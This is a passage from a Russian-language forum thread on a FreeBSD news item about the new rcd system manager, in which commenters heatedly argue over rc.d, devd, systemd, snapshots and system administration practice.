	>Да неужели? Авторы rcd сделали замену системд здорового человека и без тонны лишнего кода из системд. Нет, не сделали, а пока "развивают". А вот будет ли оно в конце "развития" выглядеть, как та самая система "здорового человека" - большой вопрос. А наличие встроенного Lua-интерпретатора и своего нескучного NIH формата файлов конфигурации вот уже прямо сейчас позволяет оценить то самое "без тонны лишнего кода", лол.
	Ответить | Правка | К родителю #31 | Наверх | Cообщить модератору

	99. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (92), 10-Сен-26, 20:54
	Какие проблемы с lua? Она в ядре фряхи уже есть, теперь и в ините будет. А там глядишь и систему сборки "пакетов" на неё перепишут.
	Ответить | Правка | Наверх | Cообщить модератору

	116. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:53
	А где в ядре фряхи вы видели LUA? Вот в загрузчике он есть и кажется в установщике и вроде всё.
	Ответить | Правка | Наверх | Cообщить модератору

	147. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (68), 11-Сен-26, 03:34
	А да, точно, во фряхе это ещё не осилили. Я всё время путаю FreeBSD и NetBSD, они у меня вечно сливаются в понятие "бесполезная маргинальная ос".
	Ответить | Правка | Наверх | Cообщить модератору

45. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
Сообщение от Аноним (45), 10-Сен-26, 13:33
Ну наконец-то. rc система фри ужасна. То что она должна делать - запускать и следить за сервисами, она не умеет от слова совсем, поэтому эта задача делегируется daemon(8), посмотрите сколько у вас в /usr/local/etc/rc.d скриптов с `command=/usr/sbin/daemon`. В настройке сервисов разброд и шатание - где-то для каждой настройки есть rc переменная, где-то для всего foobar_args, где-то foobar_flags, где-то foobar_params. Где-то поддерживается смена юзера, задание лимитов, смена fib, где-то нет. /etc/rc.conf.d знаете как работает? Думаете можно положить туда кусок конфига и он будет работать как кусок rc.conf как все нормальные .d работают? Хрен. Туда можно положить только конфиг foo.conf для сервиса foo с переменными foo_, и никак иначе. Группировать как удобно - хрен. Зависимости которые сделаны через комментарии в шелл портянках это вообще нечто, но они ещё и криво сделаны, и никто не знает как с ними работать. Там есть, например, точки синхронизации NETWORK и DAEMON, и они идут точно в такой последовательности, потому что демонам нужна полностью поднятая сеть. Но вот появляется какой-нибудь VPN, который демон, значит после network, но при этом он создаёт часть сети и остальные демоны должны запускаться после него! Так не умеем он слова совсем. Короче, без systemd очень плохо. Был какой-то форк, но он нерабочий, поделки типа гню shepherd и не помню как то гoBнецо от plan9 называлось даже рассматривать не стоит.
Ответить | Правка | Наверх | Cообщить модератору

	50. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 14:06
	Следить за сервисами, в том смысле что поднимать упавшие - никогда не было задачей rc.d во фре. /usr/sbin/daemon - сделан и используется СПЕЦИАЛЬНО для приложений где автор не осилил работу в качестве сервиса. Если вам нужно динамическая реакция на VPN или ещё что то - это делается через devd: надо добавить свои скрипты на нужные вам события. > В настройке сервисов разброд и шатание - где-то для каждой настройки есть rc переменная, где-то для всего foobar_args, где-то foobar_flags, где-то foobar_params. Где-то поддерживается смена юзера, задание лимитов, смена fib, где-то нет. Так и сервисы сильно разные. Нужно каждый смотреть отдельно.
	Ответить | Правка | Наверх | Cообщить модератору

	89. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (89), 10-Сен-26, 19:17
	> Следить за сервисами, в том смысле что поднимать упавшие - никогда не было задачей rc.d во фре. Как бы тебе сказать, это всё равно что заявить что никогда не было задачей фри быть пригодной для использования системой. Понимаешь, rc сервисы запускает и перезапускает, с хрена ли не он должен за ними следить? Тем более что больше некому. > /usr/sbin/daemon - сделан и используется СПЕЦИАЛЬНО для приложений где автор не осилил работу в качестве сервиса. Понимаешь какое дело, работу в качестве сервиса уже не должен осиливать никакой автор, потому что запуск в качестве сервиса - дело запускалки сервисов, и только так это можно сделать унифицировано, надёжно и правильно. По другому нельзя, например pid файлы racy по определению, и ничего с этим не сделать. Столько всего нужно сделать при демонизации - перенаправить вывод в логи, закрыть дескрипторы, поменять fib, юзера, группу, задать ulimit, форкнуться два раза - никто это всё правильно сделать не умеет. Был бы rc запускал сервисы только через daemon, пожалуй вопросов было бы меньше - не нужно было бы хотя бы писать бойлерплейт в каждом rc.d скрипте. Но всё равно это было бы набором костылей. > Если вам нужно динамическая реакция на VPN или ещё что то - это делается через devd: надо добавить свои скрипты на нужные вам события. Это бред конечно. Почему если у меня нет динамических интерфейсов bind должен запускаться из init системы, а если есть - из devd? devd должен быть частью init системы, как сделано в systemd. И в rcd есть socket activation которая эту проблему также решает, правда по другому. В rc никакой активации не будет никогда.
	Ответить | Правка | Наверх | Cообщить модератору

	109. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Ivan_83 (ok), 10-Сен-26, 21:38
	> Как бы тебе сказать, это всё равно что заявить что никогда не было задачей фри быть пригодной для использования системой. А давно ли дистры линуха научились следить и перезапускать? > Понимаешь какое дело, работу в качестве сервиса уже не должен осиливать никакой автор, потому что запуск в качестве сервиса - дело запускалки сервисов, и только так это можно сделать унифицировано, надёжно и правильно. Вы не правы и мир сильно сложнее ваших представлений. > По другому нельзя, например pid файлы racy по определению, и ничего с этим не сделать. Столько всего нужно сделать при демонизации - перенаправить вывод в логи, закрыть дескрипторы, поменять fib, юзера, группу, задать ulimit, форкнуться два раза - никто это всё правильно сделать не умеет. Если вы сами не умеете или боитесь - пользутесь готовым. Я не вижу с этим всем проблем, в том числе и в моих программах. > Был бы rc запускал сервисы только через daemon, пожалуй вопросов было бы меньше Это инит для даунов авторов описан, которые пишут хэлло ворлд аппы и хотят их демонами запускать. Судя по вашм хотелкам вы даже сами ничего не админили, иначе бы знали насколько всё разнообразно конфигурится и что причесать под одну гребёнку не выйдет. > Почему если у меня нет динамических интерфейсов bind должен запускаться из init системы, а если есть - из devd? Наверное потому что вы не разбираетесь в теме, иначе бы повешали его на 0.0.0.0 + :: и не задавали глупых вопросов. devd в данном случае позволяет организовать аналог линуксовых ifup/ifdown хуков, как их использовать решает каждый сам. > devd должен быть частью init системы, как сделано в systemd. Если он вам что то должен - предлагаю самому решать эту проблему, остальных устраивает то что есть. И да, сабж решает проблему ускорения начальной загрузки и не более. Хотя как по мне можно было и rc.d допилить до такого же эффекта. > в rcd есть socket activation Это что? замена inetd?)
	Ответить | Правка | Наверх | Cообщить модератору

	429. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (429), 13-Сен-26, 17:29
	> А давно ли дистры линуха научились следить и перезапускать? Хотите за линч негров поговорить? Лет 12 если взять убунту и дебиан. По меркам IT это дофига. > Вы не правы и мир сильно сложнее ваших представлений. И ваших тоже. Скажем у меня на ряде платформ кастомный сетап zram (и правильная его разборка при шатдауне) уж никак не "демон" в вашем его понимании. Но это .service юнит sd, который с одной стороны "oneshot", с другой - "remains after exit". Это в основном - management entity: ему вообще ни 1 процесс не соответствует, когда он "активен": SD serice != daemon и даже - процесс. Но есть определенные действия при старте системы - и при шатдауне. В правильной точке состояний, чтоб ничего не сломалось. Для sd не принципиально чтобы управляемый процесс был демоном в том понимании. Демонизация вообще так то - костыль из ада, нужный чтобы отсоединиться от терминала и проч. В случае с sd это все не обязаьельно, а stdin/out процесса он вполне разумно юзает, логгируя все это - в отличие от тех недоразумений. > Если вы сами не умеете или боитесь - пользутесь готовым. > Я не вижу с этим всем проблем, в том числе и в моих программах. Сколько волка ни корми, слон - больше. У вас получится - NIH костылина. Иная чем у соселнего автора. А взяв произвольную программу не факт что она вообще умеет так и эдак. Но с sd они все теперь могут системные фичи на максималках. Хоть в отдельный лайтовый контейнер с пустым видом системы засунуться и порубить большую часть сисколов. И програмеру об этом знать не надо чуть менее чем ничего. Ему sd арену соберет как надо. На куче скриптиков и подпорочек в sysv это сделать было несколько не того. Потому что половина нужного может пропасть в процессе сборки арены. Это надо - именно резидентный привилегированный агент который сисколы может отвесить, а не лоскутное одеяло уповавшее на внешние компоненты - которые как раз недоступны станут. > Судя по вашм хотелкам вы даже сами ничего не админили, иначе бы > знали насколько всё разнообразно конфигурится и что причесать под одну гребёнку > не выйдет. У sd более-менее вышло, вот ведь какой парадокс. Как максимум там разный "тип" сервиса в юните указывается. И дальше более-менее унифицированно все вон то. > Наверное потому что вы не разбираетесь в теме, иначе бы повешали его > на 0.0.0.0 + :: и не задавали глупых вопросов. Я не тот анон, но если я хочу развесить допустим условный http - только внутри тоннеля VPN - после того как он создался - то чего? Мне его всему миру развешивать? Если хотелось только виртуальному интранету? Вы адекватны? В ваших педалях - убьешься такое. В sd сие делается довольно тривиально. Впоть до авто-прибиения httpd сервиса если сервис vpn остановили. > devd в данном случае позволяет организовать аналог линуксовых ifup/ifdown хуков, как их > использовать решает каждый сам. Проблема в том что devd немного не generic запускач. Udev с этим тоже частично налетел - и вероятно именно поэтому его с sd и скрестили. Чтобы точка управления была все же более-менее одна, а не куча способов делания одного того же по разным закоулкам. >> devd должен быть частью init системы, как сделано в systemd. > Если он вам что то должен - предлагаю самому решать эту проблему, > остальных устраивает то что есть. Или можно, вот, линухи юзать. Там вон как. >> в rcd есть socket activation > Это что? замена inetd?) Внеазпно да. А зачем надо лоскутное одеяло с 5 способов делания одного и того же где даже статус системы обозреть не реально в результате.
	Ответить | Правка | Наверх | Cообщить модератору

	435. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Ivan_83 (ok), 13-Сен-26, 17:52
	> Лет 12 если взять убунту и дебиан. По меркам IT это дофига. Те года после 2015, даже венда к тому времени VLAN~ы освоила :) А чего не сразу в 90х? > Скажем у меня на ряде платформ кастомный сетап zram (и правильная его разборка при шатдауне)... Выглядит как лютый кастом, мягко говоря. У меня тоже есть кастомы, включая патчи на ядро, но обсуждать их смысла нет - оно нужно только мне/вам. Как это связано с тем что: "работу в качестве сервиса уже не должен осиливать никакой автор, потому что запуск в качестве сервиса - дело запускалки сервисов"? > У вас получится - NIH костылина. Иная чем у соселнего автора. А взяв произвольную программу не факт что она вообще умеет так и эдак. Для начала нет единого стандарта для демонов/сервисов (как на венде). Даже там сервисы не обязаны уметь весь набор каких то фичей. > Демонизация вообще так то - костыль из ада, нужный чтобы отсоединиться от терминала и проч. В случае с sd это все не обязаьельно, а stdin/out процесса он вполне разумно юзает, логгируя все это - в отличие от тех недоразумений. Это очень грубое представление о том что происходит. Как вы средствами системд собираетесь делать так чтобы моя прога слушающая на 53 порту и отрывающая доменный сокет с 0660 и овнером root:wheel могла работать под nobody? > Я не тот анон, но если я хочу развесить допустим условный http - только внутри тоннеля VPN - после того как он создался - то чего? Мне его всему миру развешивать? Если хотелось только виртуальному интранету? Вы адекватны? В ваших педалях - убьешься такое. В sd сие делается довольно тривиально. Впоть до авто-прибиения httpd сервиса если сервис vpn остановили. Все вы анонимы на одно лицо. Для линуховых одминов есть хуки на поднятие/опускание интерфейса, можно туда писать что угодно. Во фре это делается через devd. Конкретно какой то демон можно не дёргать каждый раз а один раз повешать на lo0 и потом в фаере добавлять правило на редирект пакетов с нужного интерфейса/сети. Всё это точно так же тривиально и работает/доступно лет 20-30 как. Станно что вы не заете базы а знаете какой то системд. > Проблема в том что devd немного не generic запускач. Не знаю что это должно значить. Для меня это место где можно пристроить хук на очень много всего, не только сеть. Для примера у меня там же стоит хук на закрытие/открытие крышки ноута, чтобы стопать/продолжать процессы типа браузеров и прочего шлака. > Udev с этим тоже частично налетел - и вероятно именно поэтому его с sd и скрестили. Чтобы точка управления была все же более-менее одна, а не куча способов делания одного того же по разным закоулкам. Может кому то и удобно, я не вижу проблемы что у меня нужные мне хуки в devd висят а не свалены в кучу вместе с сервисами. > Или можно, вот, линухи юзать. Там вон как. Так юзайте, никто не же запрещает :) > Внеазпно да. А зачем надо лоскутное одеяло с 5 способов делания одного и того же где даже статус системы обозреть не реально в результате. inetd был жутким легаси ещё когда я начинал в 2008 году копатся во всём этом. Притом легаси морально устаревшим, которое нагрузку держать не могло по определению и все старались его не использовать. Не вижу тут повода гордится этой фичей, это скорее костыль который оставили для совсем конченных.
	Ответить | Правка | Наверх | Cообщить модератору

	457. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 15-Сен-26, 00:37
	> Те года после 2015, даже венда к тому времени VLAN~ы освоила :) Про винду ничего не скажу - мне это не интересно. А так - врядли много людей активно юзают дистро древнее 12 лет. > А чего не сразу в 90х? Ну вы ж не пришли и не дали мастеркласс как надо было. Так что как максимум получились стремные энтерпрайзные уродцы типа SMF - "зато с XML!" - "ой, парсинг тормозит" - "fixed: закешировали в блобах скулайт" - "ой, теперь надо синхрить одно и другое". И прочие launchd. Ну и вот на этом фоне Поттеринг так то получается - не такой уж и плохой. Во всяеком случае обошелся без XML и бинарных кешей требующих синхронизации. > Выглядит как лютый кастом, мягко говоря. У системды когда он делался - не было нативных фич по этой теме. А потом - оно в общем то работает - и кастом кастомом, а работает на чем угодно от воркстейшна до мыльницы раздающей сеть. И даже не клещится особо с нативным фичесетом новых sd, если не настраивать явно в 2 местах (что есть глупое занятие). > У меня тоже есть кастомы, включая > патчи на ядро, но обсуждать их смысла нет - оно нужно только мне/вам. 1) Вон та штука на ура зашла целому выводку гиков. 2) Это вообще - иллюстрация по теме что "sd service != process". Представляете, в случае с sd все то что вы там написали - как таковое не валидно. И все ваши долбаные pid-файлы - это тоже по нашим лекалам легаси костыль. S-d они не требуются ни для каких целей, он может отслеживать процессы и без этого. И так далее! > Как это связано с тем что: "работу в качестве сервиса уже не > должен осиливать никакой автор, Так и связано - большую часть того траха в "сервисе" можно теперь и не делать если им будет рулить системд. Ни б-цкие pid файлы писать, ни их менеджмент, ни перверсии с двойным форком, представляете? Как вы будете вписываться в это состояние мира - не мои проблемы. > Для начала нет единого стандарта для демонов/сервисов (как на венде). > Даже там сервисы не обязаны уметь весь набор каких то фичей. А в случае sd глубоко системные настройки можно нарулить ИМ ВСЕМ. Системд сам соберет будущую арену, отвесив сисколы в нужном порядке, и в конце отдаст управление нужному процессу. Уже свичную юзера, урезав сисколы, сделав контейнер, установив лимиты, вот это все. Так что программе это уметь явно - не надо, но они все смогут этим теперь пользоваться. Или почему все послали вон то легаси в пешее. Кроме заговора редхата есть оказывается еще нехилые технические системные моменты, которые господа "мы так привыкли" предпочитали не замечать. А у поцтера заметили и показали что вовсе не обязательно - самому заниматься ритуалами цатилетней давности, "потому что гладиолус". > Это очень грубое представление о том что происходит. > Как вы средствами системд собираетесь делать так чтобы моя прога слушающая на > 53 порту и отрывающая доменный сокет с 0660 и овнером root:wheel > могла работать под nobody? Ну вот так вот и собираюсь 1) Сокет может вообще sd создать - он и inetd умеет косплеить и сокет активацию. 2) Он же и юзера может выставить. 3) А еще - даже если - в линухе можно так то отдельным программам и разрешить на low порты садиться через capabilities. Добро пожаловать в 2026, ваш wheel давно уже - chair. > Все вы анонимы на одно лицо. И да, я другой анон чем тот который самый первый ответ дал. Но какая разница? > Для линуховых одминов есть хуки на поднятие/опускание интерфейса, можно туда писать что > угодно. Во фре это делается через devd. Ну то есть вы предлагаете завести конфигурацию размазанную по разным местам, в разных форматах для делания одного и того же? Любой кто попытается понять как это у вас работает - и почему стопается httpd - сойдет с ума нахрен. Даже вы сами через 5 лет будете долго вдуплять - какого там творится, если тазиков хотя-бы десяток. В sd - будут прописаны зависимости, там будет понятнее. Да и логгинг какой никакой есть. А этот ваш devd с системой инициализации вероятно интегрирован - никак. Поэтому там вообще никто без поллитры не разберется что, как и почему. Этот сетап будет нереально передать другому админу. А вон то - с этим любой кто въехал в sd - разберется таки. > Конкретно какой то демон можно не дёргать каждый раз а один раз > повешать на lo0 и потом в фаере добавлять правило на редирект > пакетов с нужного интерфейса/сети. Зашибись, мы 1) Подгрузим систему тасовкой пакетов на ровном месте... 2) В чемпионате на контринтуитивное и неподдерживаемое решение возьмем призовые места. Все и сразу. 3) В чемпионате на проблемный и глюкавый софт - приз тоже светит. > Всё это точно так же тривиально и работает/доступно лет 20-30 как. Станно > что вы не заете базы а знаете какой то системд. Это все - крайне контринтуитивно, криво, и совершенно не подлежит майнтенансу и передаче другому админу например. Observability такой системы - никакой. Это руническая хтонь, где что-то где-то как-то - и упаси боже рядом дыхнуть - все скопытится и никто не знает как это поднять. А нам такое системное администрирование точно - надо? Или лучше пусть вы там сами ЭТИМ наслаждаетесь? А я при случае просто посмотрю депендся юнитов и логи? :) >> Проблема в том что devd немного не generic запускач. > Не знаю что это должно значить. То что у вас в системе будет несколько конфигураций одного и того же по сути. И его частей. В разном виде. Без единого overview этого зоопарка. Уникальное для каждого Васяна - а потому крайне проблемное чтобы отдать Пете поадминить это например, а самому на пару месяцев свалить в далекие края и вообще - от интеренета нафиг отдохнуть! > Для меня это место где можно пристроить хук на очень много всего, > не только сеть. > Для примера у меня там же стоит хук на закрытие/открытие крышки ноута, > чтобы стопать/продолжать процессы типа браузеров и прочего шлака. Не очень понимаю в чем прикол стопать браузер при закрытии крышки ноута. У меня ноут при этом в suspend to ram валится, чтоб как раз - с одной стороны батарейку не жрать, с другой - быстро вываливать мне состояние до закрытия крышки когда я вернулся. > Может кому то и удобно, я не вижу проблемы что у меня > нужные мне хуки в devd висят а не свалены в кучу вместе с сервисами. А я вот думаю что довольно много людей предпочтет observability, когда депендся можно посмотреть, когда происходящее подлежит пониманию, когда есть статус всего этого, когда это черт возьми логгится более-менее, и еще - сбить автомобилем вертолет это прекрасно, но врядли вы повторите это на бис, поэтому - ну вот не очень хорошее решение. И тем более что Вася так же - не сможет. А вы не будете 24/7 только этим и заниматься. Получается решение не подлежащее деплою и майнтенансу, от слова вообще. > Так юзайте, никто не же запрещает :) Ну так и... :) > Не вижу тут повода гордится этой фичей, это скорее костыль который оставили > для совсем конченных. Он таки позволяет пару вещей. В частности - не жрать ресурсы когда сервисом вообще совсем никто не пользуется.
	Ответить | Правка | Наверх | Cообщить модератору

	268. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 19:12
	> Как бы тебе сказать, это всё равно что заявить что никогда не > было задачей фри быть пригодной для использования системой. Понимаешь, rc сервисы > запускает и перезапускает, с хрена ли не он должен за ними > следить? Тем более что больше некому. Это примерно так и есть: они всегда хотели концепции и вэи, поучать других и проч. Использование в эту формулу не входит. Только синтетический крап, только хардкор. > Понимаешь какое дело, работу в качестве сервиса уже не должен осиливать никакой > автор, потому что запуск в качестве сервиса - дело запускалки сервисов, Ну так авторы сервисов и положили на эти ваши BSD с прибором - сами и костыльте как вам там надо - если надо и костылилка не сломается. > меньше - не нужно было бы хотя бы писать бойлерплейт в > каждом rc.d скрипте. Но всё равно это было бы набором костылей. Внезапно пока вы быковали на s-d линух с оным - BSD с серверов на отлично выпнул. И мало кто активно оперирующий s-d захочет вернуться на sysv. Захотят - необучаемые луддиты, оставщиеся в *nix эпохи своей молодости. > Это бред конечно. Почему если у меня нет динамических интерфейсов bind должен > запускаться из init системы, а если есть - из devd? Потому что в BSD не нашлось архитекта способного посмотреть как это делали другие и придумать что-то адекватное - даже на уровне Лени Поцтера... со всеми академичными фантазиями и рассказами про стройность - лажа в самых базовых системных вещах.
	Ответить | Правка | К родителю #89 | Наверх | Cообщить модератору

	136. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Сладкая булочка (?), 11-Сен-26, 00:39
	> поделки типа гню shepherd Поясни.
	Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

	205. Скрыто модератором	–1 +/–
	Сообщение от Malinovsky (?), 11-Сен-26, 12:32
	Капец, тебя тяжело читать даже мне. Все каким-то ультимативным тоном, будто заявка на истину в последней инстанции. На деле же это попытка порвать всем мозги. Форк plan9 называется 9front - работает, тупых пользователей ничего делать не просит. Весь говновыхлоп сводится к тому что старая система устарела. Для этого ненужно фигурное размазывание кала по стенке руками практиковать. Создатель замены делает что-то вроде runit или OpenRC, то есть параллельный запуск сервисов и слежение за их работой. В теме уже есть сообщение о том что это такое. Ты давно должен был заглохнуть со своим бухтением кровосос.
	Ответить | Правка | К родителю #45 | Наверх | Cообщить модератору

48. "Для FreeBSD развивают новый системный менеджер rcd"	+3 +/–
Сообщение от Аноним (48), 10-Сен-26, 13:43
Нафиг вы все прицепились к systemd, он не ломает unixway, я хоть и старик мне вообще фиолетово. Куда хлеще симлинки /bin /sbin /lib, и все прожевали, ни один ни пискнул. Такой удар по ремонтопригодности. Если отъезжает /usr, рут вообще остаётся ни с чем, без инструментов.
Ответить | Правка | Наверх | Cообщить модератору

	54. "Для FreeBSD развивают новый системный менеджер rcd"	+2 +/–
	Сообщение от Аноним (54), 10-Сен-26, 14:28
	есть мнение, что на абсолютном большинстве систем и /bin и /usr/bin живут(жили) на одном и том же разделе, так что эта ремонтопригодность была только у тех кто этим отдельно озаботился
	Ответить | Правка | Наверх | Cообщить модератору

	85. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 10-Сен-26, 17:50
	эти люди назывались когда-то - авторы дистрибутивов. Кстати, до определенного момента они таки озабочивались. А потом кто умер, кто подался в агитаторы, а кто забил. А у молодняка в виртуалочке в макоси все свалено в / потому что после запуска теста она вообще больше не нужна.
	Ответить | Правка | Наверх | Cообщить модератору

	269. "Для FreeBSD развивают новый системный менеджер rcd"	–1 +/–
	Сообщение от Аноним (-), 11-Сен-26, 19:15
	> эти люди назывались когда-то - авторы дистрибутивов. > Кстати, до определенного момента они таки озабочивались. Пока это был - единственный комп в городе... > А потом кто умер, кто подался в агитаторы, а кто забил. А потом, видите ли, народ как-то задумался что если компов более 1 то колупаться в полудохлой системе с запрыгом по граблям и эффективностью ниже плинтуса - нафиг надо, если можно все что надо - с соседнего компа с нормальной эффективностью организовать. Или вообще - снапшот откатить за 2 минуты - и сделать вид что факапа никогда не было. Но да, тебе снапшоты на десктопе не надо нормальные, зато - вот - непотребства какие-то чтоб световым мечом помахать. > А у молодняка в виртуалочке в макоси все свалено в / потому > что после запуска теста она вообще больше не нужна. Теперь и правда нет задачи - до упаду пытаться поднять единственный комп в городе т.к. до иного живого компа - сотни километров, и никаких носителей данных и ОС вокруг..
	Ответить | Правка | Наверх | Cообщить модератору

	273. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 11-Сен-26, 19:55
	>> эти люди назывались когда-то - авторы дистрибутивов. >> Кстати, до определенного момента они таки озабочивались. > Пока это был - единственный комп в городе... пока на нем было что-то ценное. а не докер обмазанный докером под докером. > Или вообще - снапшот откатить за 2 минуты - и сделать вид это в той твоей горбатой фс полностью разваливающейся при сбоях питания? Держи в курсе. (и да, ее не починить, да и чинить незачем) > что факапа никогда не было. Но да, тебе снапшоты на десктопе нахрен не нужны. Нет у меня на десктопе ничего, что можно "откатить". > Теперь и правда нет задачи у _тебя_ нет. Потому что твои поделки вообще никакой ценности не имеют и никаких полезных данных на той кривой флэшке быть не могло.
	Ответить | Правка | Наверх | Cообщить модератору

	381. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 02:26
	> пока на нем было что-то ценное. а не докер обмазанный докером под докером. Про культуру разделения на "system" и "user data" сэрам тоже рассказать - забыли. Вот лично я могу на раз откатить систему - а проекты в home не затронет. И до этого доперли - аж в убунте, цать лет назад. Откуда я этот паттерн и содрал. >> Или вообще - снапшот откатить за 2 минуты - и сделать вид > это в той твоей горбатой фс полностью разваливающейся при сбоях питания? Держи в курсе. А ты вообще в результате - с тормзным нечто и удобствами во дворе. Рассказываешь страшилки как этот мой водопровод - прорвет, а клятый унитаз - может все затопить! В теории и правда может. На практике я всю жизнь унитазами пользуюсь и никакого ужаса по их части не испытываю, и это уж точно не повод вечно облегчаться в дырку в полу, подтираясь лопухами. > (и да, ее не починить, да и чинить незачем) Я компьютерами вообще пользуюсь - не для того чтобы их чинить, если что. Они работать должны, а не делать мозг. >> что факапа никогда не было. Но да, тебе снапшоты на десктопе > нахрен не нужны. Нет у меня на десктопе ничего, что можно "откатить". Да кто б сомневался в твоей эффективности, наличии крутых проектов и вообще...   >> Теперь и правда нет задачи > у _тебя_ нет. Потому что твои поделки вообще никакой ценности не имеют > и никаких полезных данных на той кривой флэшке быть не могло. А проблемы горстки вымирающих ветеранов утративших способность к обучению - это очень нишевое, я б сказал.
	Ответить | Правка | Наверх | Cообщить модератору

	391. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 13-Сен-26, 09:02
	> Про культуру разделения на "system" и "user data" сэрам тоже рассказать - забыли. Вот > лично я могу на раз откатить систему - а проекты в home не затронет. значит эта система - просто помойка с хранилкой какого-то мусора в /home - типикал кстати для хомячка с вендой. (обратите внимание, хомячки - венда умеет без лишних геморроев юзеру откатывать системное состояние, не трогая его данных - выбирайте умом а не агитки слушайте) Нет на сервере никакой отдельной юзердаты. у меня тоже не так (иначе б там и была венда) и мне даром не нужно "откатить систему" на непонятную дату в прошлом. Я a) не помню что конкретно после той даты изменялось - т.е. после такого отката система = сломана. b) зато примерно знаю что и как я делал (и главное - для чего), поэтому у меня не бывает "внезапно 'само' сломалось". Если _я_ чего-то сломал - я как-нибудь соображу как это конкретное нечто починить без устраивания глобальной катастрофы с переселением в прошлое. Пакет переставлю на прошлую версию, вытащу из vcs (ни разу не гит) предыдущий конфиг. И главное - этот твой танец с бубном НИКАК не защищает от проврежденной бырбырфесе, превратившейся в занимательную кашицу. Ты опять подменил понятия сведя все к единственному вызубренному тобой фуфлу. Вероятно связанному с твоим неумением в системное администрирование. > А ты вообще в результате - с тормзным нечто и удобствами во дворе. рассказывает мне крестьянин для которого изменения его системы - чорная магия, и который ничего не может починить, потому что не знает - где сломано, и только глобальный откат на неведомое состояние в прошлом его спасает. И который не понимает что повреждения fs нельзя "откатить" Проходи мимо, у тебя лапти в навозе.
	Ответить | Правка | Наверх | Cообщить модератору

	433. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от Аноним (-), 13-Сен-26, 17:48
	> значит эта система - просто помойка с хранилкой какого-то мусора в /home Ну да, зелен виноград и вообще. > - типикал кстати для хомячка с вендой. (обратите внимание, хомячки - Тебе как юзеру виндочки виднее что там. А я имел возможность сравнить как все эти VSS и проч работают - и что теперь я могу. Ощущение как будто я из жигуленка пересел в персональный звездолет с бортовым компьютером и варпдрайвом. Маршрут теперь не надо - прокладывать, не успел моргнуть - как уже в назначении. > венда умеет без лишних геморроев юзеру откатывать системное состояние, не трогая > его данных - выбирайте умом а не агитки слушайте) Майкрофост поможет сделать правильный выбор :) Так что вокруг тебя только хомячки и останутся. Заслуженная участь. > Нет на сервере никакой отдельной юзердаты. Доверьте этому админу свою тушку, ога. И он про@#$%т даже какие там ваши сообщения на форуме и прочие фоты котят. > у меня тоже не так (иначе б там и была венда) и > мне даром не нужно "откатить систему" на непонятную дату в прошлом. "Кому и винда - операционка" :) > Я a) не помню что конкретно после той даты изменялось - т.е. > после такого отката система = сломана. Это в некоторых случаях может быть верно. Но решений лучше ты не только не предложишь но и убьешь неизмеримо больше времени в таких ситуациях. > и как я делал (и главное - для чего), поэтому у > меня не бывает "внезапно 'само' сломалось". У меня примерно так же - с той разницей что расписываться за кишки неведомой проприетари живущей своей жизни мне - нафиг надо. > И главное - этот твой танец с бубном НИКАК не защищает от > проврежденной бырбырфесе, превратившейся в занимательную кашицу. У него на этот случай есть оффлайн вычитка, если вдруг все стало совсем плохо, а юзер лох и бэкапы не делал. Для этого нтфс такое только от сторонних вендоров, за отдельные бабки. А от майкрософт только скандиски и чекдиски которые могут на раз сделать только хуже, при том врядли ты сможешь вернуть как было... > Ты опять подменил понятия Правильно вещаешь так то. С одной поправкой: это у тебя весьма забавная проекция на базе комплекса неполноценности. Ну типа как мелкие собаки хотят казаться грозным волком, а тут по линии неполноценных фс такое же. > рассказывает мне крестьянин для которого изменения его системы - чорная магия, Ты не понял. Я оптимизирую свое время. И иногда проще всего - взять машину времени и попробовать вон то еще раз заново, поехав другим маршрутом, вместо того чтобы пытаться разгрести последствия. Это красивая, удобная и эффетивная по времени опция - которой у тебя почти нет. Ибо то как это делает винда - жесть и ужас.
	Ответить | Правка | Наверх | Cообщить модератору

	452. "Для FreeBSD развивают новый системный менеджер rcd"	+/–
	Сообщение от нах. (?), 14-Сен-26, 01:11
	> Тебе как юзеру виндочки виднее что там. там все как надо - откат откатывает поломанное, а не все подряд. И там мы действительно иногда не знаем точно что могло поломаться, поэтому других вариантов иногда и нет. > А я имел возможность сравнить как все эти VSS и проч работают - и что теперь я могу. прогадить все свои изменения ты можешь, мы уже поняли. Что ты там мог в своем подвале сравнить - тоже всем уже ясно. про персональные звездолеты с педальным приводом ты немного затрахал уже гнать. > Доверьте этому админу свою тушку, ога. И он про@#$%т даже какие там ваши сообщения на > форуме и прочие фоты котят. ну конечно ж они у тебя в /home хранятся, больше ж негде. И да, внезапно, сломанный твоим откатом сервер - совершенно бесполезен, даже если фоточки котят в целости. Потому что посмотреть пока не починишь - нельзя. А ты откатом изгадил систему. > У него на этот случай есть оффлайн вычитка И эту глупость я уже слышал. Но никого пока не видел (ты - лучше не ври) чтобы он этим воспользовался и ему удалось что-то осмысленное. Вероятней всего если фс не монтируется, то уже и не читается. А чекдиски - работают у _миллионов_. У меня есть особо показательная система (с глючным "we never released that!" драйвером) Пока тянула видосы с ютрупа - висла в среднем раз в пару недель или чаще, в непредсказуемые моменты. Ни одного важного мне файла - не потеряла. А ты дальше ври про звездолет с педальным приводом. Который даже нормальных бэкапов не имеет. > Ты не понял. Я оптимизирую свое время. без конца переделывая уже сделанное а вдруг получится? Отличная оптимизация, продолжай, продолжай. Только не пойму, 